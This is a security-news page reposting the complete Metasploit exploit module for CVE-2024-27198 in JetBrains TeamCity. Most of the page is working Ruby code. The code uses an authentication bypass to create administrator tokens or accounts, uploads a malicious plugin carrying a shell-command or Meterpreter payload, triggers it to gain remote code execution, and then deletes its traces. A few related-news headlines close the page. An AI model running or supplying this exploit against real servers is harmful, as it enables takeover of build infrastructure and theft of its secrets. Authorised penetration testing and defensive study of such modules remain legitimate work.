Security
Headlines
HeadlinesLatestCVEs

Headline

JetBrains TeamCity Unauthenticated Remote Code Execution

This Metasploit module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated attacker can leverage this to access the REST API and create a new administrator access token. This token can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve unauthenticated remote code execution on the target TeamCity server. On older versions of TeamCity, access tokens do not exist so the exploit will instead create a new administrator account before uploading a plugin. Older versions of TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed, however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code execution instead, as this is supported on all versions tested.

Packet Storm
#vulnerability#web#windows#linux#apache#js#git#java#rce#xpath#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::FileDropper  def initialize(info = {})    super(      update_info(        info,        'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution',        'Description' => %q{          This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated          attacker can leverage this to access the REST API and create a new administrator access token. This token          can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve          unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist          so the exploit will instead create a new administrator account before uploading a plugin. Older version of          TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed,          however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code          execution instead, as this is supported on all versions tested.        },        'License' => MSF_LICENSE,        'Author' => [          'sfewer-r7', # Discovery, Analysis, Exploit        ],        'References' => [          ['CVE', '2024-27198'],          ['URL', 'https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/'],          ['URL', 'https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/']        ],        'DisclosureDate' => '2024-03-04',        'Platform' => %w[java win linux unix],        'Arch' => [ARCH_JAVA, ARCH_CMD],        'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account.        # Tested against:        # * TeamCity 2023.11.3 (build 147512) running on Windows Server 2022        # * TeamCity 2023.11.2 (build 147486) running on Windows Server 2022        # * TeamCity 2023.11.3 (build 147512) running on Linux        # * TeamCity 2018.2.4 (build 61678) running on Windows Server 2016        'Targets' => [          [            'Java', {              'Platform' => 'java',              'Arch' => ARCH_JAVA,              'DefaultOptions' => {                # We execute the Java payload in a thread in the target Tomcat process. Spawn must be 0 for this to                # happen, otherwise Spawn forces the Paylaod.java class to drop the payload to disk. For an unknown                # reason Spawn > 0 will not work against TeamCity on Linux.                'Spawn' => 0              }            }          ],          [            'Java Server Page', {              'Platform' => %w[win linux unix],              'Arch' => ARCH_JAVA            }          ],          [            'Windows Command', {              'Platform' => 'win',              'Arch' => ARCH_CMD            }          ],          [            'Linux Command', {              'Platform' => 'linux',              'Arch' => ARCH_CMD            }          ],          [            'Unix Command', {              'Platform' => 'unix',              'Arch' => ARCH_CMD            }          ]        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        # By default TeamCity listens for HTTP requests on TCP port 8111 (Older version of the product listen on        # port 80 by default).        Opt::RPORT(8111),        OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/']),        # The first user created during installation is an administrator account, so the ID will be 1.        OptInt.new('TEAMCITY_ADMIN_ID', [true, 'The ID of an administrator account to authenticate as', 1])      ]    )  end  # This is the authentication bypass vulnerability, allowing any authenticated endpoint to be access unauthenticated.  def send_auth_bypass_request_cgi(opts = {})    # The file name of the .jsp can be 0 or more characters (it just has to end in .jsp)    vars_get = {      'jsp' => "#{opts['uri']};#{Rex::Text.rand_text_alphanumeric(rand(8))}.jsp"    }    # Add in 0 or more random query parameters, and ensure the order is shuffled in the request.    0.upto(rand(8)) do      vars_get[Rex::Text.rand_text_alphanumeric(rand(1..8))] = Rex::Text.rand_text_alphanumeric(rand(1..16))    end    opts['vars_get'] ||= {}    opts['vars_get'].merge!(vars_get)    opts['shuffle_get_params'] = true    opts['uri'] = normalize_uri(target_uri.path, Rex::Text.rand_text_alphanumeric(8))    send_request_cgi(opts)  end  def check    # We leverage the vulnerability to reach the /app/rest/server endpoint. If this request succeeds then we know the    # target is vulnerable.    server_res = send_auth_bypass_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server')    )    return CheckCode::Unknown('Connection failed') unless server_res    # A patched TeamCity, e.g. 2023.11.4, reports 403 (Forbidden)    return CheckCode::Safe if server_res.code == 403    return CheckCode::Unknown("Received unexpected HTTP status code: #{server_res.code}.") unless server_res.code == 200    # We can request /app/rest/debug/jvm/systemProperties and pull out the Java "os.name" property. We dont fail the    # check routine if this request fails, as we have enough info to provide a CheckCode, however displaying the target    # platform can help inform the user what payload target to choose (i.e. Windows or Linux).    sysprop_res = send_auth_bypass_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'debug', 'jvm', 'systemProperties')    )    platform = ''    if sysprop_res&.code == 200      xml_sysprop_data = sysprop_res.get_xml_document      os_name = xml_sysprop_data&.at('property[name="os.name"]')      platform = " running on #{os_name.attr('value')}" if os_name    end    xml_server_data = server_res.get_xml_document    server_data = xml_server_data&.at('server')    version = " #{server_data.attr('version')}" if server_data    CheckCode::Vulnerable("JetBrains TeamCity#{version}#{platform}.")  end  def exploit    #    # 1. Leverage the auth bypass to generate a new administrator access token. Older version of TeamCity (circa 2018)    #    do not have support for access token, so we fall back to creating a new administrator account. The benefit    #    of using an access token is we can delete it when we are finished, unlike a user account.    #    token_name = Rex::Text.rand_text_alphanumeric(8)    res = send_auth_bypass_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users', "id:#{datastore['TEAMCITY_ADMIN_ID']}", 'tokens', token_name)    )    if res && (res.code == 404) && res.body.include?('api.NotFoundException')      print_warning('Tokens API not found, falling back to creating an admin user.')      token_name = nil      token_value = nil      http_authorization = auth_new_admin_user      fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil?    else      unless res&.code == 200        # One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here        # and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.        if res && (res.code == 404) && res.body.include?('User not found')          print_warning('User not found. Try setting the TEAMCITY_ADMIN_ID option to a different ID.')        end        fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')      end      # Extract the authentication token from the response.      token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s      fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil?      print_status("Created authentication token: #{token_value}")      http_authorization = "Bearer #{token_value}"    end    # As we have created an access token, this begin block ensures we delete the token when we are done.    begin      #      # 2. Create a malicious TeamCity plugin to host our payload.      #      plugin_name = Rex::Text.rand_text_alphanumeric(8)      zip_plugin = create_payload_plugin(plugin_name)      fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil?      #      # 3. Upload the payload plugin to the TeamCity server      #      print_status("Uploading plugin: #{plugin_name}")      message = Rex::MIME::Message.new      message.add_part(        "#{plugin_name}.zip",        nil,        nil,        'form-data; name="fileName"'      )      message.add_part(        zip_plugin.pack.to_s,        'application/octet-stream',        'binary',        "form-data; name=\"file:fileToUpload\"; filename=\"#{plugin_name}.zip\""      )      res = send_request_cgi(        'method' => 'POST',        'uri' => normalize_uri(target_uri.path, 'admin', 'pluginUpload.html'),        'ctype' => 'multipart/form-data; boundary=' + message.bound,        'keep_cookies' => true,        'headers' => {          'Origin' => full_uri,          'Authorization' => http_authorization        },        'data' => message.to_s      )      fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200      #      # 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server.      #      res = send_request_cgi(        'method' => 'POST',        'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),        'keep_cookies' => true,        'headers' => {          'Origin' => full_uri,          'Authorization' => http_authorization        },        'vars_post' => {          'action' => 'loadAll',          'plugins' => plugin_name        }      )      fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200      # As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.      begin        #        # 5. Begin to clean up, register several paths for cleanup.        #        if (install_path, sep = get_install_path(http_authorization))          vprint_status("Target install path: #{install_path}")          if target['Arch'] == ARCH_JAVA            # The Java payload plugin will have its buildServerResources extracted to a path like:            # C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ            # So we register this for cleanup.            # Note: The java process may recreate this a second time after we delete it.            register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep))          end          if (build_number = get_build_number(http_authorization))            vprint_status("Target build number: #{build_number}")            # The Tomcat web server will compile our ARCH_JAVA payload and store the associated .class files in a            # path like: C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\            # So we register this for cleanup too. This folder will be created for a ARCH_CMD payload, although            # it will be empty.            register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep))          else            print_warning('Could not discover build number. Unable to register Catalina files for cleanup.')          end        else          print_warning('Could not discover install path. Unable to register files for cleanup.')        end        # On a Linux target we see the extracted plugin file remaining here even after we delete the plugin.        # /home/teamcity/.BuildServer/system/caches/plugins.unpacked/XXXXXXXX/        if (data_path = get_data_dir_path(http_authorization))          vprint_status("Target data directory path: #{data_path}")          register_dir_for_cleanup([data_path, 'system', 'caches', 'plugins.unpacked', plugin_name].join(sep))        else          print_warning('Could not discover data directory path. Unable to register files for cleanup.')        end        #        # 6. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java        # payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin.        #        if target['Arch'] == ARCH_JAVA && target['Platform'] != 'java'          res = send_request_cgi(            'method' => 'GET',            'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"),            'keep_cookies' => true,            'headers' => {              'Origin' => full_uri,              'Authorization' => http_authorization            }          )          fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200        end      ensure        #        # 7. Ensure we delete the plugin from the server when we are finished.        #        print_status('Deleting the plugin...')        print_warning('Failed to delete the plugin.') unless delete_plugin(http_authorization, plugin_name)      end    ensure      #      # 8. Ensure we delete the access token we created when we are finished. If we authorized via a user name and      #    password, we cannot delete the user account we created.      #      if token_name && token_value        print_status('Deleting the authentication token...')        print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value)      end    end  end  def auth_new_admin_user    admin_username = Faker::Internet.username    admin_password = Rex::Text.rand_text_alphanumeric(16)    res = send_auth_bypass_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'),      'ctype' => 'application/json',      'data' => {        'username' => admin_username,        'password' => admin_password,        'name' => Faker::Name.name,        'email' => Faker::Internet.email(name: admin_username),        'roles' => {          'role' => [            {              'roleId' => 'SYSTEM_ADMIN',              'scope' => 'g'            }          ]        }      }.to_json    )    unless res&.code == 200      print_warning('Failed to create an administrator user.')      return nil    end    print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")    http_authorization = basic_auth(admin_username, admin_password)    # Login via HTTP basic authorization and store the session cookie.    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),      'keep_cookies' => true,      'headers' => {        'Origin' => full_uri,        'Authorization' => http_authorization      }    )    # A failed login attempt will return in a 401. We expect a 302 redirect upon success.    if res&.code == 401      print_warning('Failed to login with new admin user credentials.')      return nil    end    http_authorization  end  def create_payload_plugin(plugin_name)    if target['Arch'] == ARCH_CMD      case target['Platform']      when 'win'        shell = 'cmd.exe'        flag = '/c'      when 'linux', 'unix'        shell = '/bin/sh'        flag = '-c'      else        print_warning('Unsupported target platform.')        return nil      end      zip_resources = Rex::Zip::Archive.new      zip_resources.add_file(        "META-INF/build-server-plugin-#{plugin_name}.xml",        <<~XML          <?xml version="1.0" encoding="UTF-8"?>          <beans xmlns="http://www.springframework.org/schema/beans"            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"            xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"            default-autowire="constructor">            <bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">              <constructor-arg>                <list>                  <value>#{shell}</value>                  <value>#{flag}</value>                  <value><![CDATA[#{payload.encoded}]]></value>                </list>              </constructor-arg>            </bean>          </beans>        XML      )    elsif target['Arch'] == ARCH_JAVA      # If the platform is java we can bootstrap a Java Meterpreter      if target['Platform'] == 'java'        zip_resources = payload.encoded_jar(random: true)        # Add in PayloadServlet as this is implements Runable and we can run the payload in a thread.        servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')        zip_resources.add_file('/metasploit/PayloadServlet.class', servlet)        payload_bean_id = Rex::Text.rand_text_alpha(8)        # We start the payload in a new thread via some Spring Expression Language (SpEL).        bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }"        # NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail        # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder        # as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we        # choose a property that does not exist, we generate several exceptions in the teamcity-server.log.        zip_resources.add_file(          "META-INF/build-server-plugin-#{plugin_name}.xml",          <<~XML            <?xml version="1.0" encoding="UTF-8"?>            <beans xmlns="http://www.springframework.org/schema/beans"              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"              xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd">              <bean id="#{payload_bean_id}" class="#{zip_resources.substitutions['metasploit']}.PayloadServlet"/>              <bean class="java.beans.Encoder">                <property name="exceptionListener" value="#{bootstrap_spel}"/>              </bean>            </beans>          XML        )      else        # For non java platforms with ARCH_JAVA, we can drop a JSP payload.        zip_resources = Rex::Zip::Archive.new        zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded)      end    else      print_warning('Unsupported target architecture.')      return nil    end    zip_plugin = Rex::Zip::Archive.new    zip_plugin.add_file(      'teamcity-plugin.xml',      <<~XML        <?xml version="1.0" encoding="UTF-8"?>        <teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">          <info>            <name>#{plugin_name}</name>              <display-name>#{plugin_name}</display-name>              <description>#{Faker::Lorem.sentence}</description>              <version>#{Faker::App.semantic_version}</version>              <vendor>              <name>#{Faker::Company.name}</name>              <url>#{Faker::Internet.url}</url>            </vendor>          </info>          <deployment use-separate-classloader="true" node-responsibilities-aware="true"/>        </teamcity-plugin>      XML    )    zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)    zip_plugin  end  def get_install_path(http_authorization)    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'),      'keep_cookies' => true,      'headers' => {        'Origin' => full_uri,        'Authorization' => http_authorization      }    )    unless res&.code == 200      print_warning('Failed to request plugins information.')      return nil    end    plugins_xml = res.get_xml_document    restapi_data = plugins_xml.at("//plugin[@name='rest-api']")    restapi_load_path = restapi_data&.attr('loadPath')    if restapi_load_path.nil?      print_warning('Failed to extract plugin loadPath.')      return nil    end    # C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api    platforms = {      '\\webapps\\ROOT\\WEB-INF\\plugins\\' => '\\',      '/webapps/ROOT/WEB-INF/plugins/' => '/'    }    platforms.each do |path, sep|      if (pos = restapi_load_path.index(path))        return [restapi_load_path[0, pos], sep]      end    end    print_warning('Failed to extract install path.')    nil  end  def get_data_dir_path(http_authorization)    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'dataDirectoryPath'),      'keep_cookies' => true,      'headers' => {        'Origin' => full_uri,        'Authorization' => http_authorization      }    )    unless res&.code == 200      print_warning('Failed to request data directory path.')      return nil    end    res.body  end  def get_build_number(http_authorization)    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server'),      'keep_cookies' => true,      'headers' => {        'Origin' => full_uri,        'Authorization' => http_authorization      }    )    unless res&.code == 200      print_warning('Failed to request server information.')      return nil    end    xml_data = res.get_xml_document    server_data = xml_data.at('server')    server_data.attr('buildNumber')  end  def get_plugin_uuid(http_authorization, plugin_name)    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),      'keep_cookies' => true,      'headers' => {        'Origin' => full_uri,        'Authorization' => http_authorization      },      'vars_get' => {        'item' => 'plugins'      }    )    unless res&.code == 200      print_warning('Failed to list all plugins.')      return nil    end    uuid_match = res.body.match(/'#{Regexp.quote(plugin_name)}', '([a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12})'/)    if uuid_match&.length != 2      print_warning('Failed to grep for plugin GUID')      return nil    end    uuid_match[1]  end  def delete_plugin(http_authorization, plugin_name)    plugin_uuid = get_plugin_uuid(http_authorization, plugin_name)    if plugin_uuid.nil?      print_warning('Failed to discover enabled plugin UUID')      return false    end    vprint_status("Enabled Plugin UUID: #{plugin_uuid}")    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),      'keep_cookies' => true,      'headers' => {        'Origin' => full_uri,        'Authorization' => http_authorization      },      'vars_post' => {        'action' => 'setEnabled',        'enabled' => 'false',        'uuid' => plugin_uuid      }    )    unless res&.code == 200      print_warning('Failed to disable the plugin.')      return false    end    # The UUID changes after we disable the plugin, so we need to call get_plugin_uuid a second time.    plugin_uuid = get_plugin_uuid(http_authorization, plugin_name)    if plugin_uuid.nil?      print_warning('Failed to discover disabled plugin UUID')      return false    end    vprint_status("Disabled Plugin UUID: #{plugin_uuid}")    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),      'keep_cookies' => true,      'headers' => {        'Origin' => full_uri,        'Authorization' => http_authorization      },      'vars_post' => {        'action' => 'delete',        'uuid' => plugin_uuid      }    )    unless res&.code == 200      print_warning('Failed request for plugin deletion.')      return false    end    true  end  def delete_token(token_name, token_value)    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'admin', 'accessTokens.html'),      'keep_cookies' => true,      'headers' => {        'Origin' => full_uri,        'Authorization' => "Bearer #{token_value}"      },      'vars_post' => {        'accessTokenName' => token_name,        'delete' => 'true',        'userId' => datastore['TEAMCITY_ADMIN_ID']      }    )    res&.code == 200  endend

Related news

Void Banshee APT Exploits Microsoft MHTML Flaw to Spread Atlantida Stealer

An advanced persistent threat (APT) group called Void Banshee has been observed exploiting a recently disclosed security flaw in the Microsoft MHTML browser engine as a zero-day to deliver an information stealer called Atlantida. Cybersecurity firm Trend Micro, which observed the activity in mid-May 2024, the vulnerability – tracked as CVE-2024-38112 – was used as part of a multi-stage attack

Update now! JetBrains TeamCity vulnerability abused at scale

Users of JetBrains TeamCity on-prmises server need to deal with two serious vulnerabilities.

Update now! JetBrains TeamCity vulnerability abused at scale

Users of JetBrains TeamCity on-prmises server need to deal with two serious vulnerabilities.

Packet Storm: Latest News

htmly 2.9.9 Cross Site Scripting